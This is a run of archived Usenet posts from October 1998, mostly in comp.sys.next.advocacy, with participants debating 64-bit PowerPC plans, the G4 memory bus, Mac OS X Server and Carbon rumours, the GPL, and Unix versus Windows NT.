NNTP-Posting-Date: Mon, 19 Oct 1998 15:22:18 GMT
I only asked the question to find out where Motorola was headed with
their processor line. All of the other CPU vendors are going 64-bit
(Sun (Sparc), Intel (Merced), DEC/Compaq (Alpha), SGI (MIPS, almost dead
now)).
There are many reasons to have a 64-bit processor. The main one is that
it virtually removes all limits on processing of large numbers. I know
that there are some programs that will probably exceed 64-bits
(astronomy?), but for most programs 64-bits really will be enough for a
long time.
david.
Tim Olson wrote:
>
> In article <3627893A.A296560B@mci.com>, David.Hinz@mci.com wrote:
>
> | Are the PowerPC G3 and G4 64-bit processors? If not, has anyone heard
> | what Motorola's plans are for releasing a 64-bit processor in the Gx
> | series? Of course the next question is, when will Mac OS X be 64-bit?!?
>
> Why do you want 64-bit processors? Are you really running out of the 4GB
> address space on your desktop machine?
>
> --
>
> -- Tim Olson
--
=====================================================
= David Hinz MCI WorldCom =
= Internet and New Media Development =
= Email: David.Hinz@MCI.com Phone: (303) 390-6108 =
= Vnet: 636-6108 Fax: (303) 390-6365 =
= Pager: 1-888-900-5732 (Interactive 2-way) =
=====================================================
From: tvz@nospam.nwu.edu (Timothy Van Zandt)
Newsgroups: comp.sys.next.advocacy
Subject: Re: AFTER 1999? BEWARE!
Date: 19 Oct 1998 15:08:12 GMT
Organization: Northwestern University, Evanston, IL, US
Message-ID: <70fkks$56c@news.acns.nwu.edu>
References: <19981018064514.26758.00002456@ng111.aol.com>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
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In <19981018064514.26758.00002456@ng111.aol.com> GodsToolxx wrote:
> AFTER 1999? BEWARE!
Actually, I think OpenStep and Rhapsody are Y2k compliant.
tim vz
From: david_@ucla.edu (David Kurtz)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.os.linux.advocacy
Subject: Re: Apple as Linux vendor
Date: Mon, 19 Oct 1998 22:13:19 -0700
Organization: Independent sentient carbon-based unit
Message-ID: <david_-1910982213190001@s188-254.resnet.ucla.edu>
References: <19981004210108.24477.00005169@ng150.aol.com> <keyes-ya02408000R0510980922490001@news> <F0y0MM.5uL@T-FCN.Net> <FIiROLCWddLd-pn2-yoCvezJM6M2i@localhost> <36290618.7C76D28F@nstar.net> <70cesn$26p$2@news.idiom.com> <362A307E.F06DA670@nstar.net> <slrn72kecv.246.dblake@209-142-19-207.oak.inreach.net> <x7hfx0uzdx.fsf@loathe.com>
In article <x7hfx0uzdx.fsf@loathe.com>, Matt Evans <bmajik@loathe.com> wrote:
> If there were only *1 thing* Sun excelled at, it would be SMP and
> multi-cpu machines and OSes. Who else has a multi-threaded mail reader,
> standard, with the operating system ?
Be.
(Sorry; I knew you ment that question to be rhetorical...)
--
David Kurtz -- remove the underscore from my email address to reply
PGP key and more... http://www.lightside.net/~david/
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
From: maury@remove_this.istar.ca (Maury Markowitz)
Subject: Re: Mac OS X Server
Content-Type: text/plain; charset=us-ascii
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Cc: mjpeck@nstar.net
Organization: My ISP puts something here if I don't.
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<360FBE64.67D0D2EF@ericsson.com> <6up4j7$17d@news1.panix.com>
<36102270.2739BA4F@ericsson.com> <6upl8c$674@news1.panix.com>
<361064C1.419A082F@nstar.net> <6urdgv$o4m@news1.panix.com>
<6uuqra$99n$2@nnrp03.primenet.com> <6v071q$obt@news1.panix.com>
<6v0cu9$jur$1@nnrp03.primenet.com> <6v0s9m$pfc$1@nnrp1.dejanews.com>
<6v2tk2$lqd@news1.panix.com> <6v31n9$c84$1@nnrp02.primenet.com>
<joe.ragosta-0210982016330001@elk86.dol.net> <mazulauf-0310980024190001@happy.met.utah.edu>
<ckoller-0310980112110001@22.los-angeles-05.ca.dial-access.att.net> <ericb-0310981902260001@r4149.resnet.cornell.edu>
<01bdef38$8ec16d10$06387880@chewy> <3616049A.6DA9@southwind.net>
<ckoller-1710981059160001@172.los-angeles-05.ca.dial-access.att.net> <36290128.BEF527F9@nstar.net>
<ckoller-1810981638320001@31.los-angeles-09.ca.dial-access.att.net> <362A8003.C1302C38@nstar.net>
Mime-Version: 1.0
Date: Mon, 19 Oct 1998 15:37:51 GMT
In <362A8003.C1302C38@nstar.net> "Michael J. Peck" wrote:
> > Where was the MS near-death experience? Are people simply blinding
> > themselves to the obvious? What Apple was doing before *DID NOT WORK*.
> > They *had* to make changes or die. Now this could have been done by
> > Amelio, but ultimately it was done by Jobs, probably the only one person
> > with the power to do so.
>
> It's okay for Apple to act this way because they almost died? Huh?
Ummm, yes. Do you suggest it's not?
> Man, all I'm asking is "If what you're getting is no better than
> Microsoft, why should Apple stay alive in the first place?" Now I get
> this, about how Apple must act unethically just to stay alive.
That strikes me as a very odd definition of ethics.
Maury
From: sal@panix.com (Sal Denaro)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.os.linux.advocacy
Subject: Re: Apple as Linux vendor
Date: 20 Oct 1998 05:20:08 GMT
Organization: PANIX Public Access Internet and Unix, NYC
Message-ID: <70h6i8$pe6@news1.panix.com>
References: <19981004210108.24477.00005169@ng150.aol.com> <keyes-ya02408000R0510980922490001@news> <F0y0MM.5uL@T-FCN.Net> <FIiROLCWddLd-pn2-yoCvezJM6M2i@localhost> <36290618.7C76D28F@nstar.net> <70cesn$26p$2@news.idiom.com> <362A307E.F06DA670@nstar.net> <slrn72kecv.246.dblake@209-142-19-207.oak.inreach.net> <362A6D75.365BD954@nstar.net> <slrn72l91h.2eb.dblake@209-142-19-207.oak.inreach.net> <362AAC96.42C72F92@nstar.net>
On Sun, 18 Oct 1998 22:05:58 -0500,
Michael J. Peck <mjpeck@nstar.net> wrote:
>I'm not attacking RMS's rights. I'm attacking the notion that there is a
>moral imperative to require others who use my code to require others who
>use their code to require others...
The GPL is a license agreement like any other. I am not aware of any morality
clause in it, nor any clause that prevents me from making money on my work.
Where in the GPL agreement does RMS state that users have a "moral imperative
to support development"?
>It's a laughable notion, and it's a tragedy that it survives on the work
>of dedicated and generous people.
I do agree that this "GPL == Free" is deceiving people into thinking that the
GPL license doesn't come with strings attached.
From: sal@panix.com (Sal Denaro)
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.programmer.misc,comp.sys.next.advocacy
Subject: Re: Mac OS X Server 1.0 Cancelled? - Don Crabb
Date: 20 Oct 1998 05:20:09 GMT
Organization: PANIX Public Access Internet and Unix, NYC
Message-ID: <70h6i9$pe6@news1.panix.com>
References: <B250EAC6-A1CDC@208.254.112.93>
On 19 Oct 98 13:10:24 -0400, scott hand
<vidahand@mail.doh!.earthlink.net> wrote:
>I was under the impression that the Mac version of WebObjects would require
>OSXServer. Is this not true?
Unless Apple ported YB to MacOS without telling anyone, yes it is true.
Apple's plan, as stated a while back, was to ship WO on OSX Server on
the PPC.
>It would seem that Apple could not cancel one
>without the other. I have thought about the possibility of Apple binding
>the two in some way, however, making a simple purchase of OSXServer
>impossible and out of the range of consumer/experimenters.
Perhaps the canceled server product he was talking about was the combined
WO4+OSX Server bundle?
Message-ID: <362A8003.C1302C38@nstar.net>
From: "Michael J. Peck" <mjpeck@nstar.net>
MIME-Version: 1.0
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Mac OS X Server
References: <pulsar-ya02408000R2709981941460001@news-proxy.cso.uiuc.edu> <pulsar-ya02408000R2809981118200001@news-proxy.cso.uiuc.edu> <360FBE64.67D0D2EF@ericsson.com> <6up4j7$17d@news1.panix.com> <36102270.2739BA4F@ericsson.com> <6upl8c$674@news1.panix.com> <361064C1.419A082F@nstar.net> <6urdgv$o4m@news1.panix.com> <6uuqra$99n$2@nnrp03.primenet.com> <6v071q$obt@news1.panix.com> <6v0cu9$jur$1@nnrp03.primenet.com> <6v0s9m$pfc$1@nnrp1.dejanews.com> <6v2tk2$lqd@news1.panix.com> <6v31n9$c84$1@nnrp02.primenet.com> <joe.ragosta-0210982016330001@elk86.dol.net> <mazulauf-0310980024190001@happy.met.utah.edu> <ckoller-0310980112110001@22.los-angeles-05.ca.dial-access.att.net> <ericb-0310981902260001@r4149.resnet.cornell.edu> <01bdef38$8ec16d10$06387880@chewy> <3616049A.6DA9@southwind.net> <ckoller-1710981059160001@172.los-angeles-05.ca.dial-access.att.net> <36290128.BEF527F9@nstar.net> <ckoller-1810981638320001@31.los-angeles-09.ca.dial-access.att.net>
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NNTP-Posting-Date: Sun, 18 Oct 1998 19:56:20 EDT
Organization: ISPNews http://ispnews.com
Date: Sun, 18 Oct 1998 18:55:47 -0500
Craig Koller wrote:
> Where was the MS near-death experience? Are people simply blinding
> themselves to the obvious? What Apple was doing before *DID NOT WORK*.
> They *had* to make changes or die. Now this could have been done by
> Amelio, but ultimately it was done by Jobs, probably the only one person
> with the power to do so.
It's okay for Apple to act this way because they almost died? Huh?
> Microsoft is not restructured and remains far from the brink of any major
> catastrophe (business-wise that is - legally, we'll leave it to the DOJ to
> determine whether they made illegal moves to bolster their current
> position) but should they dance too close to the "Big Buh-Bye" yes, of
> course I would expect them to alter their course.
>
> There *is* no comparison between Apple and Microsoft in this regard.
Man, all I'm asking is "If what you're getting is no better than
Microsoft, why should Apple stay alive in the first place?" Now I get
this, about how Apple must act unethically just to stay alive. I guess
the staying-alive part has self-evident importance. I don't know how I
missed it.
MJP
From: sal@panix.com (Sal Denaro)
Newsgroups: comp.sys.next.advocacy
Subject: Re: MJP theorizes Carbon, months before Jobs announced it!!!
Date: 20 Oct 1998 05:20:06 GMT
Organization: PANIX Public Access Internet and Unix, NYC
Message-ID: <70h6i6$pe6@news1.panix.com>
References: <6vopca$1p8@news1.panix.com> <3620076A.5FA93D46@nstar.net> <6vr62a$rtb@news1.panix.com> <3621289A.25C6A4F9@nstar.net> <6vrntr$548@news1.panix.com> <36224472.CEDA184B@ericsson.com> <701cmv$6bk@news1.panix.com> <3624C1B9.F1B81B2F@ericsson.com> <70d957$flm@news1.panix.com> <362A31E5.39218D89@nstar.net> <70deko$hbk@news1.panix.com> <362A70D6.E87F0C9A@nstar.net>
On Sun, 18 Oct 1998 17:51:02 -0500,
Michael J. Peck <mjpeck@nstar.net> wrote:
>Sal Denaro wrote:
>> And PhotoShop running as a Carbon App isn't a port?
>No, it's not.
Huh?
If I take a MFC App, re-write parts of it, and then recompile it so
it can run on Unix with an MFC lib, it is a port.
But, when I take a MacOS App, re-write parts of it, and then recompile
it so it can run on OSX with the Carbon libs it isn't a port?
This makes no sense. How is one different than the other?
From: cvbuskirk@home.com
Newsgroups: comp.sys.next.advocacy
Subject: Bold prediction! Forget Server...
Date: Mon, 19 Oct 1998 16:28:41 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <70fpbp$dhd$1@nnrp1.dejanews.com>
1. Mac OSX Server 1.0 becomes Beta 3 with alpha Carbon api support, to be
released in January.
2. Intel support is completely dropped. Apple figures its Gx hardware is much
more lucrative then supporting an OS on intel. This also includes yellow box
support on windows.
This will really piss off developers, but I have a feeling apple with make
beta 3 public. Something like M$ is doing with NT 5 in their next beta. The
NeXT crowd will probably face the brunt of this, but hey, with the exception
of a *few* hardcore software houses, what have they developed in the past few
years anyhow?
I would rather apple work hard on getting beta 3 out the door, then waste time
releasing server. IT managers are not lining up at the door for it.
Remember the quote, "Carbon. All lifeforms are based on this."
Chris Van Buskirk (Still looking forward to developing java based yellow box,
and webobject on my G3)
-----------== Posted via Deja News, The Discussion Network ==----------
http://www.dejanews.com/ Search, Read, Discuss, or Start Your Own
From: sal@panix.com (Sal Denaro)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Press reports of Apple's profits
Date: 20 Oct 1998 05:31:07 GMT
Organization: PANIX Public Access Internet and Unix, NYC
Message-ID: <70h76r$ppo@news1.panix.com>
References: <3626A8A1.A166967B@nstar.net> <708brr$1l5u$1@piglet.cc.uic.edu> <3627C56A.A5A01466@ericsson.com> <70bmt9$25lq$1@piglet.cc.uic.edu> <3629731C.ECB0114E@nstar.net> <70e0cj$1iim$1@piglet.cc.uic.edu> <362A8F5C.9101C8BF@nstar.net> <70e6b1$2fdk$1@piglet.cc.uic.edu> <362AA113.166495B9@nstar.net>
On Sun, 18 Oct 1998 21:16:51 -0500,
Michael J. Peck <mjpeck@nstar.net> wrote:
>I'm not saying the mainframe is extinct. I'm saying that Unix is
>responsible for ending the Age of the Mainframe as known during the
>1960s and 1970s.
DOS and Lotus 1-2-3 did that. Unix for the most part replaced the
plethora of mini computer OSes. I don't think unix systems scaled
up to mainframe size until the late 80s, but I could be wrong.
From: Sander Vesik <sander@haldjas.folklore.ee>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.powerpc.advocacy
Subject: Re: Motorola's G4 PowerPC
Date: 20 Oct 1998 07:09:02 GMT
Organization: Eesti Keele Instituut/Eesti Rahvaluule Arhiiv
Message-ID: <908867344.965616@haldjas.folklore.ee>
References: <705opt$5ms@newsb.netnews.att.com> <3627893A.A296560B@mci.com> <tim-1610981917060001@jump-tnt-0198.customer.jump.net> <B24D52F0-27B86@206.165.43.171> <709a8k$2rlo$1@piglet.cc.uic.edu> <F1306A.3AF@T-FCN.Net> <70ftih$2ego$1@piglet.cc.uic.edu> <F139H5.78H@T-FCN.Net>
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Cache-Post-Path: haldjas.folklore.ee!unknown@localhost.folklore.ee
In comp.sys.powerpc.advocacy Maury Markowitz <maury@remove_this.istar.ca> wrote:
> In <70ftih$2ego$1@piglet.cc.uic.edu> Anil T Maliyekke wrote:
> > I mean implementing a double rate interface where data is
> > transfered on both the rising and falling edge of the bus
> > clock. This way a 128 bit 100MHz system bus would be able to
> > provide data at twice the rate (200MHz) and provide 3.2 GB/s
> > of bandwidth.
> Sorry, more questions. In order to get these speeds it seems we need a
> significanly upgraded memory bus. Would interleaving make everyone happy?
Interleaving helps for lowering latency. A processor can have more than
one memory transaction "in flight".
> And what is needed for double rate use? Do current DRAMs handle this under
> the proper conditions?
DDR memory or 2x the memory and something to translate between single data
rate and DDR.
> Maury
--
Sander
There is no love, no good, no happiness and no future -
all these are just illusions.
From: kinkster88@aol.com (Kinkster)
Newsgroups: alt.destroy.microsoft,alt.microsoft.sucks,comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.hardware.misc
Subject: Re: A computer is not like a car.
Date: Mon, 19 Oct 1998 16:54:54 GMT
Organization: http://www.supernews.com, The World's Usenet: Discussions Start Here
Message-ID: <362c6e48.4961895@news.usol.com>
References: <360a5c3e.0@news.busprod.com> <bRtP1.3801$R_4.3830723@news3.mia.bellsouth.net> <3612D0C7.45B4@southwind.net> <36184884.D44FFF6C@nstar.net> <363bd443.79179339@news.supernews.com> <01bdf462$dcd104a0$42d89a8e@zeus> <mteh-ya02408000R1010981831230001@news.earthlink.net> <70e2nc$k4h$1@ligarius.ultra.net> <nUJW1.459$AP6.2602@nntp1.nac.net>
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On Mon, 19 Oct 1998 16:36:35 GMT, vextor@crystal.palace.net () wrote:
>In message <70e2nc$k4h$1@ligarius.ultra.net>, WaldoTim (waldotim@yahoo.com) wrote:
>
>: Oliver M. Sun wrote in message ...
>: >
>: > You know why MS introduced the "integrated browser" in place of the old
>: >Windows Explorer? Because their surveys indicated that people found it
>: >easier to use web browsers than to use Windows itself.
>: >
I'm sure the thoughts of killing off Netscape and ending the threat to
the Windows OS and the potential billions to be made by having control
of the web _NEVER_ entered into their calculations ;-)
From: ch3@earthlink.net (CaHand)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Mac OS X Server 1.0 Cancelled? - Don Crabb
Date: Mon, 19 Oct 1998 22:38:54 -0700
Organization: EarthLink Network, Inc.
Message-ID: <ch3-1910982238540001@1cust104.tnt5.redmond.wa.da.uu.net>
References: <jayfar-1810981622540001@ppp134.blackbox1-mfs.netaxs.com> <B2502546-2F8EE@206.165.43.5> <70fddn$rts$1@nnrp1.dejanews.com> <70g0tl$mdh$4@news.xmission.com> <70g2s9$t17@shelob.afs.com> <ch3-1910982007530001@1cust104.tnt5.redmond.wa.da.uu.net> <70h3s8$e1r$2@birch.prod.itd.earthlink.net>
Notice the word "consideration," Ziya.
Of course, I was glad to see Rhapsody reaffirmed after Jobs had
announced the OS X strategy. Does that mean it's a good strategy?
Hell no. Given the opportunity to go back to the end of '97, I
would have stayed with Amelio's plan and developed Rhapsody along
with MacOS. (Which is what they are actually doing: OS X Server
and OS X.) The problem is they've botched the marketing positions
by throwing this "Server" thing down in the middle of 8.5 ---> X.
If it was called OPENSTEP(or OS X for Enterprise), this would not
be a problem.
[Aside: Attaching the word "Mac" to the system was always a
mistake. It should have been called "OS X Server," with no
silly legacy prefix to graft some sort of nostalgic legacy
onto a system that has no more to do with 'mac' than QNX.]
Best Regards.
CaHand
From: "scott hand" <vidahand@mail.doh!.earthlink.net>
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.programmer.misc,comp.sys.next.advocacy
Subject: Re: Mac OS X Server 1.0 Cancelled? - Don Crabb
Date: 19 Oct 98 13:10:24 -0400
Organization: EarthLink Network, Inc.
Message-ID: <B250EAC6-A1CDC@208.254.112.93>
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
nntp://news.earthlink.net/comp.sys.mac.programmer.misc,
nntp://news.earthlink.net/comp.sys.next.advocacy
On Mon, Oct 19, 1998 2:07 AM, Lawson English <mailto:english@primenet.com>
wrote:
>I just added comp.sys.next.advocacy to this.
>
>My response is that I apparently just purchased 2 new harddrives for
>nothing. My hope was to boot MacOS X server off of one, and the
>unsupported MacOS X consumer product off of the other so that I could at
>least attempt to program for the future using my three month old 7300/180.
>
>What do the NeXT developers and community think of this rumor?
>
<snipped Crabb report of cancellation rumor>
I was under the impression that the Mac version of WebObjects would require
OSXServer. Is this not true? It would seem that Apple could not cancel one
without the other. I have thought about the possibility of Apple binding
the two in some way, however, making a simple purchase of OSXServer
impossible and out of the range of consumer/experimenters.
Within a progressively improved scaffolding of assumptions,
scott
From: amaliy1@uic.edu (Anil T Maliyekke)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.powerpc.advocacy
Subject: Re: Motorola's G4 PowerPC
Followup-To: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.powerpc.advocacy
Date: 19 Oct 1998 17:40:33 GMT
Organization: University of Illinois at Chicago
Message-ID: <70ftih$2ego$1@piglet.cc.uic.edu>
References: <tim-1610981917060001@jump-tnt-0198.customer.jump.net> <B24D52F0-27B86@206.165.43.171> <F1306A.3AF@T-FCN.Net>
Maury Markowitz (maury@remove_this.istar.ca) wrote:
: In <709a8k$2rlo$1@piglet.cc.uic.edu> Anil T Maliyekke wrote:
: > Apparently the G4 will have the option of using a 128 bit system
: > SMP bus (as well as a wider 128 bit cache interface).
: Oh, well _that's_ certainly interesting. Still I wonder how much extra
: performance can be gained without also moving to a newer memory subsystem
: like RAMBUS (or that clone who's name I forget). You can get a bit from
: interleaving current DRAMs, but do you think a bigger system bus will
: really help much in "standard" machines?
A single RAMBUS channel will provide the same amount of bandwidth
as the 128 bit bus operating at 100MHz.
: > use the 60X bus, so it can be used on current systems. So AltiVec
: > should not be slowed down.
: I don't understand - do you mean in the case of a 128bit system bus?
Well if you are processing a large data set using 128 bit vectors,
having double the bandwidth will help you fill those cache lines from
main memory a lot quicker. Same goes for double precision FP.
: > My question is whether a double
: > data rate capability will be added. 3.2 GB/s sustainable
: > bandwidth would be pretty impressive.
: Do you mean a 2x mode, or simply a non-1/2 mode?
: Maury
I mean implementing a double rate interface where data is
transfered on both the rising and falling edge of the bus
clock. This way a 128 bit 100MHz system bus would be able to
provide data at twice the rate (200MHz) and provide 3.2 GB/s
of bandwidth.
MacKiDo claims that the G4 will have a double precision multiply optimized
FP unit, like the 604(e), 620 and the various POWER1/2/3 processors.
If this is true, floating point performance will likely be much
better and with the increased bandwidth it should be evident
on SPECfp95.
Anil
From: don@misckit.com (Don Yacktman)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Bold prediction! Forget Server...
Date: 19 Oct 1998 18:20:20 GMT
Organization: MiscKit Development
Message-ID: <70fvt4$mdh$2@news.xmission.com>
References: <70fpbp$dhd$1@nnrp1.dejanews.com>
NNTP-Posting-Date: 19 Oct 1998 18:20:20 GMT
cvbuskirk@home.com wrote:
> This will really piss off developers, [...] The
> NeXT crowd will probably face the brunt of this, but hey, with
> the exception of a *few* hardcore software houses, what have
> they developed in the past few years anyhow?
A hell of a lot of custom applications in the enterprise. Several of these
apps have had more development hours, money, and effort put into *one*
*single* *project* than Apple or NeXT has put into NEXTSTEP, OPENSTEP,
Rhapsody, Mac OS X, or whatever the hell they call it tomorrow.
F**k over the enterprise like that and Apple will never, EVER get back in the
door again! Not at that shop, or any shop run by somebody who has a friend
that was in the shop that got screwed over. It is hard enough for Apple to
get the Enterprise to take them seriously, but burn bridges like this and
they're out of that market forever. That's a *really* bad idea.
Think about this: Microsoft has taken over the easy markets and is now
trying to conquer the enterprise because that's where the real money is (not
to mention some of the best margins). If Apple limits themselves to their
current niche and tries to only hit consumers, they will likely fail. Why?
Many consumers buy a computer "like the one at work" and the consumer margins
are so low Apple could end up losing money on the few units they do sell!
(That's an oversimplification, but a deeper analysis still suppots the idea
that Apple needs to take at the very least a *portion* of the enterprise
market.)
> I would rather apple work hard on getting beta 3 out the door,
> then waste time releasing server. IT managers are not lining
> up at the door for it.
But if you piss off the few that *are*, they'll tell their friends.
Eventually Apple will be locked out of all but the most insane or desperate
of shops. Past NeXT history proves this to be the case. There are some
truly astonishing stories...Apple is headed down the same road of arrogance
and demarketing and it is a _very_ _bad_ thing, long term. Worse than you
suspect.
> Remember the quote, "Carbon. All lifeforms are based on this."
>
> Chris Van Buskirk (Still looking forward to developing java
> based yellow box and webobject on my G3)
Well, gee, so then why bother with YB or WOF if Carbon is the end all be all?
So, I think that what you are suggesting is a terrible idea and one that
would do a tremendous amount of long term damage to Apple as a whole. That
said, and based upon the fact that this is just the sort of stupid trick Jobs
has pulled out of his butt in the past, the cynic in me says that Apple might
just go and do what you are suggesting. I hope that they don't, though,
considering the consequences. Time will tell...anything attempt to read
Apple's tea leaves right now (prediction, rumor, etc.) to determine what will
happen is of the basest speculation and rather worthless. The people passing
the rumors don't know diddly about what is happening, and those that do
aren't talking.
--
Later,
-Don Yacktman
don@misckit.com
<a href="http://www.yacktman.org/don/index.html">My home page</a>
From: amaliy1@uic.edu (Anil T Maliyekke)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.powerpc.advocacy
Subject: Re: AMD K7 info Re: Motorola's G4 PowerPC
Followup-To: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.powerpc.advocacy
Date: 19 Oct 1998 17:47:49 GMT
Organization: University of Illinois at Chicago
Message-ID: <70fu05$2ego$2@piglet.cc.uic.edu>
Michael Peck (Michael.Peck@ericsson.com) wrote:
: Anil T Maliyekke wrote:
: > As for the UNIX market, I think Intel is going about things the wrong
: > way. Trying to get every single UNIX vendor to port their OSes
: > over to IA-64 is just going to create massive confusion and doubt
: > in customers. And it's just going to weaken the companies offering
: > UNIX. Besides the more Intel tries, the more likely Microsoft will
: > find a way of promoting another hardware platform and delaying
: > support for IA-64.
: Intel was actually the driving force behind a recent attempt at forming
: collaboration over a unified UNIX. I think Intel has very clear goals,
: here; in any case the danger of Microsoft moving to another hardware
: platform wouldn't scare me if I were Craig Barrett (and I'm sure it
: doesn't).
: MJP
But the prospect of Microsoft mucking around with Merced support
should scare Intel. And who knows, maybe IBM will suddenly decide
to adopt Alpha's for NT servers. It's a possibility if IBM
adopts K7's for workstations and servers.
Anil
Subject: Re: Mac OS X Server
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
References: <F138sH.6E6@T-FCN.Net> <B251257B-83E3E@206.165.43.67>
In-Reply-To: <B251257B-83E3E@206.165.43.67>
From: kcd@babylon5.jumpgate.com (Kenneth C. Dyke)
Date: 20 Oct 1998 05:39:21 GMT
Message-ID: <362c2209$0$12429@nntp1.ba.best.com>
On 10/19/98, "Lawson English" wrote:
>
>Excuse. I was under the impression that enhanced QuickDraw was part of
>the Carbon API. It is not?
From what I recall at WWDC, eQD is part of the common OS services layer
beneath both Carbon and YellowBox. The new Window Server is also
included in that layer.
-Ken
--
Kenneth Dyke, kcd@jumpgate.com (personal), kdyke@ea.com (work)
Software Engineer, Jane's Combat Simulations, Electronic Arts
C++: The power, elegance and simplicity of a hand grenade.
Subject: Re: Motorola's G4 PowerPC
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.powerpc.advocacy
References: <3629900d$0$7319@nntp1.ba.best.com> <B24EE913-10EC3@206.165.43.120> <362a2bcc$0$7314@nntp1.ba.best.com> <adtF13LBG.1Jx@netcom.com>
In-Reply-To: <adtF13LBG.1Jx@netcom.com>
From: kcd@babylon5.jumpgate.com (Kenneth C. Dyke)
Date: 20 Oct 1998 05:49:52 GMT
Message-ID: <362c2480$0$12446@nntp1.ba.best.com>
On 10/19/98, Anthony D. Tribelli wrote:
>First, if you feel a need to vent frustration and have chosen the
>fixed point option as a means to do so you might at least pick the
>correct target. I introduced the idea, I'll add that it was in the
>context of showing that algorithms can benefit from 64-bit registers,
>that 64-bit is not exclusively for addressing memory.
I was merely taking Lawson to task for claiming that merely having
64-bit integer registers would somehow be easier/better than just using
64-bit floating point *in the context of writing games*. Certainly
there are other very good uses for having 64-bit integer registers.
As for your second point regarding coordinate systems(deleted to save
some space), you could certainly pull of some tricks to make everything
work nicely without 128 bit products. However, now you are having to
spend time designing all of that to work right everywhere, when you
could have just used 64-bit floats to begin with.
Trust me. The trend in video games is to move away from fixed point
math. Fixed point is simply harder to deal with than floating point.
Dealing with fixed point math on the PlayStation *sucks* because you
have to always be jumping through hoops everywhere and need many
different multiply routines depending on the scales you are using at
any given time. This is on top of any conversions you may or may not
need to take advantage of the PlayStation's fixed-point matrix
hardware.
-Ken
--
Kenneth Dyke, kcd@jumpgate.com (personal), kdyke@ea.com (work)
Software Engineer, Jane's Combat Simulations, Electronic Arts
C++: The power, elegance and simplicity of a hand grenade.
From: amaliy1@uic.edu (Anil T Maliyekke)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Press reports of Apple's profits
Date: 19 Oct 1998 00:16:19 GMT
Organization: University of Illinois at Chicago
Message-ID: <70e0cj$1iim$1@piglet.cc.uic.edu>
References: <3626A8A1.A166967B@nstar.net> <708brr$1l5u$1@piglet.cc.uic.edu> <3627C56A.A5A01466@ericsson.com> <70bmt9$25lq$1@piglet.cc.uic.edu> <3629731C.ECB0114E@nstar.net>
Michael J. Peck (mjpeck@nstar.net) wrote:
: > The main thing is support of GUI operations and features
: > like graphics or other non text cut & paste and drag and drop between
: > applications and the deskop.
: If Apple is clever it can write Services that will handle the
: translation between DnD and CnP interfaces seamlessly.
I've never seen an X Windows application that supports non text
cut & paste. Does the functionality exist, either in
X11 itself or in environments like Motif/CDE or
Qt/KDE or GNOME? Same goes for interapplication drag & drop...
And if they do exist how are they implemented?
: > What I mean is that adding UNIX services isn't going to make
: > NT robust like UNIX, or OS/390, OS/400 or VMS.
: That's very true, but from a functionality standpoint, it is reaching
: parity.
: > I think Microsoft
: > made a wrong turn along the way with NT, and now they can't go
: > back and fix it without creating an ugly mess.
: Yeah, no doubt about that.
: > Microsoft's
: > priorities when they first created NT were to create a more advanced OS
: > with an integrated GUI, not a truly robust and secure multiuser system.
: This is very aggravating. If Microsoft had begun with Unix and built
: their environment on top of it, they could have been so successful
: (could've made a lot of people very happy). Instead, they did it "their
: way" and now they're backtracking but they've passed a point of no
: return on most of the internals. NT is a stinkin' mess and always will
: be unless Microsoft spends the money to start over. What they probably
: don't realize is that it would be ten times cheaper to start over than
: to keep going with their gargantuan pile of hacks. After all, tiny NeXT
: built NeXTstep on top of a Unix base with a miniscule fraction of
: Microsoft's resources.
: Oh, it'll work. IBM made OS/390 work, despite its massive bloated size.
: But it's going to be brute force that achieves it, and it's going to
: cost Microsoft dearly; they failed to kill Unix for the past three
: years, and it's going to haunt them. I find it side-splittingly
: hilarious that Unix may someday be responsible for the humiliating
: defeat of not one, but two industry giants over the span of thirty
: years. What a thrilling time to be alive...
I don't think UNIX is going to defeat IBM, since they are a leading
UNIX vendor and their other OSes support UNIX services. Also,
while UNIX makes a great base for interactive user services and
a pretty good base for servers, there are other approaches
for OSes. OS/400's capabilities based architecture is pretty
much at the opposite end of the OS spectra from UNIX, OS/390, NT
etc. Indeed it seems to be picking up steam. I think IBM
made a lot of good architectural decisions in creating
OS/400 and with advances in system and processor design as
well as new software technologies like Java, OS/400's architecture
may start to show some advantages. The only problem with
it is it's horrible user interface, but that's one of the
things that can be hidden through various means.
: MJP
From: "WaldoTim" <waldotim@yahoo.com>
Newsgroups: alt.destroy.microsoft,alt.microsoft.sucks,comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.hardware.misc
Subject: Re: A computer is not like a car.
Date: Sun, 18 Oct 1998 20:49:30 -0400
Organization: UltraNet Communications , an RCN Company http://www.ultranet.com/
Message-ID: <70e29s$arc$1@strato.ultra.net>
References: <360a5c3e.0@news.busprod.com> <bRtP1.3801$R_4.3830723@news3.mia.bellsouth.net> <3612D0C7.45B4@southwind.net> <36184884.D44FFF6C@nstar.net> <363bd443.79179339@news.supernews.com> <01bdf462$dcd104a0$42d89a8e@zeus> <joe.ragosta-1010981709250001@elk68.dol.net>
Joe Ragosta wrote in message ...
>In article <01bdf462$dcd104a0$42d89a8e@zeus>, "Dude"
><jonny_36@hotmail.com> wrote:
>
>> Sorry dude but it wasn't Apple that came up with the Windows Gui it was
>> Xerox and Apple "borrowed" it from them, just like MS "borrowed" the
>> concept from Apple.
>
>Check your facts. You'll find that Apple paid for what they got from Xerox.
